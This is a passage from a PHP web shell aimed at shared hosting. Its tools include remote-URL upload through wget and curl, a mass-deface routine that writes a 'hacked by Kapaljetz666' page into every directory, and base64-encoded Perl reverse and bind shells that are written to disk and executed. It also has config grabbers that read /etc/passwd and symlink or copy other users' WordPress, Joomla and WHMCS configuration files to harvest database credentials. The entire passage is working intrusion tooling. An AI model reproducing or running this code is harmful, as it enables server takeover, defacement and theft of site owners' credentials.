  2428. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  2429. $path = magicboom($_POST['path']);
  2430. $fname = $_FILES['file']['name'];
  2431. $tmp_name = $_FILES['file']['tmp_name'];
  2432. $pindah = $path.$fname;
  2433. $stat = @move_uploaded_file($tmp_name,$pindah);
  2434. if ($stat) {
  2435. $msg = "file uploaded to $pindah";
  2436. }
  2437. else $msg = "failed to upload $fname";
  2438. }
  2439. else $msg = "failed to upload $fname";
  2440. }
  2441. elseif(isset($_POST['uploadurl'])){
  2442. $pilihan = trim($_POST['pilihan']);
  2443. $wurl = trim($_POST['wurl']);
  2444. $path = magicboom($_POST['path']);
  2445. $namafile = download($pilihan,$wurl);
  2446. $pindah = $path.$namafile;
  2447. if(is_file($pindah)) {
  2448. $msg = "file uploaded to $pindah";
  2449. }
  2450. else $msg = "failed to upload $namafile";
  2451.  
  2452. }
  2453. ?>
  2454. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  2455. <table class="tabnet" style="width:320px;padding:0 1px;">
  2456. <tr><th colspan="2">Upload from computer</th></tr>
  2457. <tr><td colspan="2"><p style="text-align:center;"><input style="color:#FFFF00;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
  2458. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  2459. </tr>
  2460. </table></form>
  2461. <table class="tabnet" style="width:320px;padding:0 1px;">
  2462. <tr><th colspan="2">Upload from url</th></tr>
  2463. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  2464. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
  2465. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  2466. <tr><td><select size="1" class="inputz" name="pilihan">
  2467. <option value="wwget">wget</option>
  2468. <option value="wlynx">lynx</option>
  2469. <option value="wfread">fread</option>
  2470. <option value="wfetch">fetch</option>
  2471. <option value="wlinks">links</option>
  2472. <option value="wget">GET</option>
  2473. <option value="wcurl">curl</option>
  2474. </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
  2475. </tr>
  2476. </table>
  2477. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  2478. <?php }
  2479. /////////////////////// END
  2480. /////////////////////// START HASH
  2481. elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
  2482. {
  2483. ?>
  2484. <?php
  2485. $submit= $_POST['enter'];
  2486. if (isset($submit)) {
  2487. $pass = $_POST['password']; // password
  2488. $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
  2489. $hash = md5($pass); // md5 hash #1
  2490. $md4 = hash("md4",$pass);
  2491. $hash_md5 = md5($salt.$pass); // md5 hash with salt #2
  2492. $hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
  2493. $hash1 = sha1($pass); // sha1 hash #4
  2494. $sha256 = hash("sha256",$text);
  2495. $hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
  2496. $hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
  2497. }
  2498. echo '<form action="" method="post"><table class="tabnet">';
  2499. echo '<th colspan="2">Password Hash</th></center></tr>';
  2500. echo '<td><b>masukan kata yang ingin di encrypt:</b></td>';
  2501. echo '<td><input class="inputz" type="text" name="password" size="40" />';
  2502. echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
  2503. //echo '</td></tr><br>';
  2504. echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
  2505. echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr>';
  2506. echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr>';
  2507. echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr>';
  2508. echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr>';
  2509. echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr>';
  2510. echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr>';
  2511. echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr>';
  2512. echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr>';
  2513. echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr></table>';
  2514. }
  2515.  
  2516. ///////////// END OF HASH
  2517. ########################################################################
  2518. ######################################################
  2519. ////START HASH ID
  2520. elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
  2521. if(isset($_POST['gethash'])){
  2522. $hash = $_POST['hash'];
  2523. if(strlen($hash)==32){
  2524. $hashresult = "MD5 Hash";
  2525. }elseif(strlen($hash)==40){
  2526. $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  2527. }elseif(strlen($hash)==13){
  2528. $hashresult = "DES(Unix) Hash";
  2529. }elseif(strlen($hash)==16){
  2530. $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  2531. }elseif(strlen($hash)==41){
  2532. $GetHashChar = substr($hash, 40);
  2533. if($GetHashChar == "*"){
  2534. $hashresult = "MySQL5 Hash";
  2535. }
  2536. }elseif(strlen($hash)==64){
  2537. $hashresult = "SHA-256 Hash";
  2538. }elseif(strlen($hash)==96){
  2539. $hashresult = "SHA-384 Hash";
  2540. }elseif(strlen($hash)==128){
  2541. $hashresult = "SHA-512 Hash";
  2542. }elseif(strlen($hash)==34){
  2543. if(strstr($hash, '$1$')){
  2544. $hashresult = "MD5(Unix) Hash";
  2545. }
  2546. }elseif(strlen($hash)==37){
  2547. if(strstr($hash, '$apr1$')){
  2548. $hashresult = "MD5(APR) Hash";
  2549. }
  2550. }elseif(strlen($hash)==34){
  2551. if(strstr($hash, '$H$')){
  2552. $hashresult = "MD5(phpBB3) Hash";
  2553. }
  2554. }elseif(strlen($hash)==34){
  2555. if(strstr($hash, '$P$')){
  2556. $hashresult = "MD5(Wordpress) Hash";
  2557. }
  2558. }elseif(strlen($hash)==39){
  2559. if(strstr($hash, '$5$')){
  2560. $hashresult = "SHA-256(Unix) Hash";
  2561. }
  2562. }elseif(strlen($hash)==39){
  2563. if(strstr($hash, '$6$')){
  2564. $hashresult = "SHA-512(Unix) Hash";
  2565. }
  2566. }elseif(strlen($hash)==24){
  2567. if(strstr($hash, '==')){
  2568. $hashresult = "MD5(Base-64) Hash";
  2569. }
  2570. }else{
  2571. $hashresult = "Hash type not found";
  2572. }
  2573. }else{
  2574. $hashresult = "Not Hash Entered";
  2575. }
  2576.  
  2577. ?>
  2578. <center><br><Br><br>
  2579.  
  2580. <form action="" method="POST">
  2581. <tr>
  2582. <table class="tabnet">
  2583. <th colspan="5">Hash Identification</th>
  2584. <tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
  2585. <tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
  2586. </table></tr></form>
  2587. </center>
  2588.  
  2589. <?php
  2590.  
  2591. }
  2592. //////////////////// MASS DEFACE START HERE
  2593. elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
  2594. {
  2595. echo "<center/><br/><b><font color=white>Mass Deface (recode by Kapaljetz666)</font></b><br>";
  2596. error_reporting(0);?>
  2597. <form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
  2598. <br>
  2599. <br>
  2600. note: if not domain in deface result, that mean this site not work mass deface (permission denied)<br><td><table><table class="tabnet" >
  2601. <form hethot='post'>
  2602. <tr>
  2603. <tr>
  2604. <td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
  2605. </tr><br>
  2606. <tr>
  2607. <td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="del.htm"></td>
  2608. </tr>
  2609. </tr>
  2610. <th colspan='2'><b>Script Deface</b></th><br></table>
  2611. <textarea style='background:black;outline:none;color:white;' name='index' rows='10' cols='67'>
  2612. <html>
  2613. <head>
  2614. <title>hacked by Kapaljetz666</title>
  2615. <link rel='SHORTCUT ICON' type='image/x-icon' href='http://i48.servimg.com/u/f48/16/08/07/74/indone10.gif'>
  2616. <meta name="robots" content="index, follow">
  2617. <meta name="Description" content="hacked by Kapaljetz666">
  2618. <meta name="keyword" content="hacked by Kapaljetz666">
  2619. <meta name="googlebot" content="index,follow" />
  2620. <meta name="robots" content="all" />
  2621. <meta name="robots schedule" content="auto" />
  2622. <meta name="distribution" content="global" />
  2623. <body onload="type_text()" alink="#FFFF00" vlink="#FFFF00" link="#FFFF00" text="#FFFF00">
  2624. <table height=90% width=100%>
  2625. <script type="text/javascript">
  2626.  
  2627. var snowmax=75
  2628. var snowcolor=new Array("#AAAACC","#DDDDFF","#CCCCDD","#F3F3F3","#F0FFFF")
  2629. var snowtype=new Array("Arial Black","Arial Narrow","Times","Comic Sans MS")
  2630. var snowletter="*"
  2631. var sinkspeed=0.6
  2632. var snowmaxsize=22
  2633. var snowminsize=8
  2634. var snowingzone=1
  2635.  
  2636. // Do not edit below this line
  2637. var snow=new Array()
  2638. var marginbottom
  2639. var marginright
  2640. var timer
  2641. var i_snow=0
  2642. var x_mv=new Array();
  2643. var crds=new Array();
  2644. var lftrght=new Array();
  2645. var browserinfos=navigator.userAgent
  2646. var ie5=document.all&&document.getElementById&&!browserinfos.match(/Opera/)
  2647. var ns6=document.getElementById&&!document.all
  2648. var opera=browserinfos.match(/Opera/)
  2649. var browserok=ie5||ns6||opera
  2650.  
  2651. function randommaker(range) {
  2652. rand=Math.floor(range*Math.random())
  2653. return rand
  2654. }
  2655.  
  2656. function initsnow() {
  2657. if (ie5 || opera) {
  2658. marginbottom = document.body.clientHeight
  2659. marginright = document.body.clientWidth
  2660. }
  2661. else if (ns6) {
  2662. marginbottom = window.innerHeight
  2663. marginright = window.innerWidth
  2664. }
  2665. var snowsizerange=snowmaxsize-snowminsize
  2666. for (i=0;i<=snowmax;i++) {
  2667. crds[i] = 0;
  2668. lftrght[i] = Math.random()*15;
  2669. x_mv[i] = 0.03 + Math.random()/10;
  2670. snow[i]=document.getElementById("s"+i)
  2671. snow[i].style.fontFamily=snowtype[randommaker(snowtype.length)]
  2672. snow[i].size=randommaker(snowsizerange)+snowminsize
  2673. snow[i].style.fontSize=snow[i].size
  2674. snow[i].style.color=snowcolor[randommaker(snowcolor.length)]
  2675. snow[i].sink=sinkspeed*snow[i].size/5
  2676. if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
  2677. if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
  2678. if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
  2679. if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
  2680. snow[i].posy=randommaker(2*marginbottom-marginbottom-2*snow[i].size)
  2681. snow[i].style.left=snow[i].posx
  2682. snow[i].style.top=snow[i].posy
  2683. }
  2684. movesnow()
  2685. }
  2686.  
  2687. function movesnow() {
  2688. for (i=0;i<=snowmax;i++) {
  2689. crds[i] += x_mv[i];
  2690. snow[i].posy+=snow[i].sink
  2691. snow[i].style.left=snow[i].posx+lftrght[i]*Math.sin(crds[i]);
  2692. snow[i].style.top=snow[i].posy
  2693.  
  2694. if (snow[i].posy>=marginbottom-2*snow[i].size || parseInt(snow[i].style.left)>(marginright-3*lftrght[i])){
  2695. if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
  2696. if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
  2697. if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
  2698. if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
  2699. snow[i].posy=0
  2700. }
  2701. }
  2702. var timer=setTimeout("movesnow()",50)
  2703. }
  2704.  
  2705. for (i=0;i<=snowmax;i++) {
  2706. document.write("<span id='s"+i+"' style='position:absolute;top:-"+snowmaxsize+"'>"+snowletter+"</span>")
  2707. }
  2708. if (browserok) {
  2709. window.onload=initsnow
  2710. }
  2711. </script>
  2712. <td align=center>
  2713. </head>
  2714. <body bgcolor="#000000" text="#FFFF00"><center>
  2715. <font face=courier new>
  2716. <h1>
  2717. <font color='red'>hacked by Kapaljetz666</font><p>
  2718. <font size=3>don't worry, and keep your calm<br>
  2719. Deface just a game, if you say it's a crime, that mean you're stupid<p>
  2720. </font>
  2721. <font face='courier new' size=3>
  2722. greets for you <a href="http://zone-h.org/archive/notifier=Kapaljetz666" target="_blank">
  2723. <img src="http://s10.postimg.org/6cc1ngy7p/Cur.png" name="haha you found me" height=20 width=25></img></a>
  2724. </font>
  2725. <EMBED ALIGN='CENTER' AUTOSTART='TRUE' HEIGHT='1' LOOP='TRUE' SRC='http://vivat365.com/wp-admin/videoplayback_2.swf' WIDTH='1'></EMBED>
  2726. </style>
  2727. </body>
  2728. </html>
  2729. </textarea><br>
  2730. <center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>
  2731. <h3>defaced result: </h3>
  2732. <br><br>
  2733. versi text area:<br>
  2734. <textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
  2735. <?php $ini="http://";
  2736. $mainpath=$_POST[path];
  2737. $file=$_POST[file];
  2738. $dir=opendir("$mainpath");
  2739. $code=base64_encode($_POST[index]);
  2740. $indx=base64_decode($code);
  2741. while($row=readdir($dir)){
  2742. $start=@fopen("$row/$file","w+");
  2743. $finish=@fwrite($start,$indx);
  2744. if ($finish){echo"$ini$row/$file\n";}}
  2745. ?>
  2746. </textarea><br>
  2747. <br><br>versi text:<br><br>
  2748. <?php $ini="http://";
  2749. $mainpath=$_POST[path];
  2750. $file=$_POST[file];
  2751. $dir=opendir("$mainpath");
  2752. $code=base64_encode($_POST[index]);
  2753. $indx=base64_decode($code);
  2754. while($row=readdir($dir)){
  2755. $start=@fopen("$row/$file","w+");
  2756. $finish=@fwrite($start,$indx);
  2757. if ($finish){echo"<a href="."$ini$row/$file"." target="."_blank".">$ini$row/$file</a><br>";}}
  2758.  
  2759. ?>
  2760. <?php
  2761. }
  2762. elseif(isset($_GET['x']) && ($_GET['x'] == 'sbc')){ @ini_set('output_buffering',0);
  2763. ?>
  2764. <form action="?y=<?php echo $pwd; ?>&x=sbc" method="post">
  2765. <br><br><center><b><font size=4>Back Connect Simple</font></b></center><br>
  2766. <?php
  2767. echo "
  2768. <head>
  2769. <link rel='icon' type='image/ico' href='http://media.stateofq.com/photologue/photos/cache/facebook%20favicon_thumbnail.png'/>
  2770. <form method='POST'>
  2771. <title>Facebook Brute Force 2014</title>
  2772. </head>
  2773. <style>
  2774. textarea {
  2775. resize:none;
  2776. color: #000000 ;
  2777. border:1px solid red ;
  2778. border-left: 4px solid red ;
  2779. }
  2780. input {
  2781. color: #000000;
  2782. border:1px dotted black;
  2783. }
  2784. </style>";
  2785. if ($_REQUEST['cdirname']){
  2786. if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
  2787. function bcn($ipbc,$pbc){
  2788. $bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
  2789. NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
  2790. MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
  2791. dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
  2792. IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
  2793. YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
  2794. LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
  2795. KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
  2796. KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
  2797. IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
  2798. ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
  2799. $opbc=fopen("bcc.pl","w");
  2800. fwrite($opbc,base64_decode($bcperl));
  2801. fclose($opbc);
  2802. system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
  2803. }
  2804. function wbp($wb){
  2805. $wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
  2806. cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
  2807. a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
  2808. ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
  2809. IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
  2810. IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
  2811. VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
  2812. VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
  2813. $opwb=fopen("wbp.pl","w");
  2814. fwrite($opwb,base64_decode($wbp));
  2815. fclose($opwb);
  2816. echo getcwd();
  2817. system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
  2818. }
  2819. function lbp($wb){
  2820. $lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
  2821. YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
  2822. U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
  2823. VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
  2824. QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
  2825. dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
  2826. b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
  2827. Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
  2828. $oplb=fopen("lbp.pl","w");
  2829. fwrite($oplb,base64_decode($lbp));
  2830. fclose($oplb);
  2831. system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
  2832. }
  2833.  
  2834. if($_REQUEST['portbw']){
  2835. wbp($_REQUEST['portbw']);
  2836.  
  2837. }if($_REQUEST['portbl']){
  2838. lbp($_REQUEST['portbl']);
  2839. }
  2840. if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
  2841. bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
  2842.  
  2843. }
  2844. echo "<p align='center'><font face='Tahoma' color='#007700' size='2pt' /><p align='center'><br>Ip : <input type=text name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input type=text name=portbc value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'><p align='center'><br><font face='Tahoma' color='#009900' size='2pt'> Windows Bind Port</font> <br>Port : <input type=text name=portbw value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'> <br><font face='Tahoma' color='#009900' size='2pt'>Linux Bind Port</font> <br>Port : <input type=text name=portbl value=5555> <input type=submit value=Connect></form><br><br>".$end;exit;
  2845. }
  2846. ////////////////////////////////////////////////////////////////////////////
  2847. elseif(isset($_GET['x']) && ($_GET['x'] == 'grabc')){ @ini_set('output_buffering',0);
  2848. ?>
  2849. <form action="?y=<?php echo $pwd; ?>&x=grabc" method="post">
  2850. <br><br><center><b><font size=4>Config Grabber !</font></b></center><br>
  2851. <?php
  2852. echo "
  2853. <form method='POST'>
  2854. </head>
  2855. <style>
  2856. textarea {
  2857. resize:none;
  2858. color: #000000 ;
  2859. background-color:#000000;
  2860. font-size:8pt; color:#FFFF00;
  2861. border:1px solid white ;
  2862. border-left: 4px solid white ;
  2863. width:543px;
  2864. height:400px;
  2865. }
  2866. input {
  2867. color: #000000;
  2868. border:1px dotted white;
  2869. }
  2870. </style>";
  2871. echo "<center>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grab!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('jembutgrab', 0755);@chdir('jembutgrab');
  2872. $htaccess="
  2873. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  2874. Options Indexes FollowSymLinks
  2875. ForceType text/plain
  2876. AddType text/plain .php
  2877. AddType text/plain .html
  2878. AddType text/html .shtml
  2879. AddType txt .php
  2880. AddHandler server-parsed .php
  2881. AddHandler txt .php
  2882. AddHandler txt .html
  2883. AddHandler txt .shtml
  2884. Options All
  2885. Options All";
  2886. file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
  2887. $passwd=explode("\n",$passwd);
  2888. echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
  2889. foreach($passwd as $pwd){
  2890. $pawd=explode(":",$pwd);$user =$pawd[0];
  2891. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  2892. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  2893. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  2894. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  2895. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  2896. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  2897. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  2898. @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  2899. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  2900. @symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
  2901. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  2902. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  2903. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  2904. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  2905. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  2906. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  2907. @symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
  2908. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  2909. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  2910. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
  2911. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  2912. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
  2913. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  2914. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  2915. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  2916. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  2917. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  2918. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  2919. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  2920. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  2921. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  2922. @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  2923. @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  2924. @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  2925. @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  2926. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  2927. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
  2928. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  2929. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  2930. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
  2931. echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="jembutgrab">Open configs</a></font></b>';}
  2932. }
  2933. elseif(isset($_GET['x']) && ($_GET['x'] == 'grabwpjm'))
  2934. {
  2935. ?>
  2936. <form action="?path=<?php echo $path; ?>&amp;x=grabwpjm" method="post">
  2937. <?php
  2938. // Tu5b0l3d
  2939. // thx to: IndoXPloit, HNc
  2940. // Config Wordpress and Joomla Grabber
  2941. error_reporting(0);
  2942. echo "<h1><center>Created By IndoXploit<br><a href='configs/'style='text-decoration:none;'>Open Configs</a></center><br></h1>";
  2943. //$us = file_get_contents("/etc/passwd");
  2944. $usa = fopen('/etc/passwd','r');
  2945. $dir = mkdir('configs', 0777);
  2946. $rrrr = "Options all \n DirectoryIndex configs.html \n Require None \n Satisfy Any";
  2947. $frr = fopen('configs/.htaccess', 'w');
  2948.  
  2949. fwrite($frr, $rrrr);
  2950. while($us = fgets($usa)){
  2951. if($us==""){
  2952. echo "cann't read /etc/passwd";
  2953. }
  2954. else{
  2955. preg_match_all('/(.*?):x:/', $us, $user_byk);
  2956.  
  2957. foreach($user_byk[1] as $user){
  2958. $dir1 = "/home/$user/public_html/";
  2959. if(is_readable($dir1)){
  2960. $dir = "/home/$user/public_html/wp-config.php";
  2961. $dir2 = "/home/$user/public_html/configuration.php";
  2962. $ambil = file_get_contents($dir);
  2963.  
  2964.  
  2965. if($ambil==""){
  2966. $ambil_joom = file_get_contents($dir2);
  2967. if($ambil_joom==""){
  2968. echo "<font color='green'>$user <= Readable (Bukan Wordpress dan Joomla)<br></font>";
  2969.  
  2970. }
  2971. else{
  2972.  
  2973. $file1 = "grabwpjm/$user-configuration.txt";
  2974. $fp2 = fopen($file1,"w");
  2975. fputs($fp2,$ambil);
  2976.  
  2977. echo "<a href='grabwpjm/$user-configuration.txt'style='text-decoration:none;'>$user </a> <= Joomla<br>";
  2978.  
  2979. }
  2980.  
  2981. }
  2982. else{
  2983.  
  2984. $file1 = "grabwpjm/$user-wpconfig.txt";
  2985. $fp2 = fopen($file1,"w");
  2986. fputs($fp2,$ambil);
  2987.  
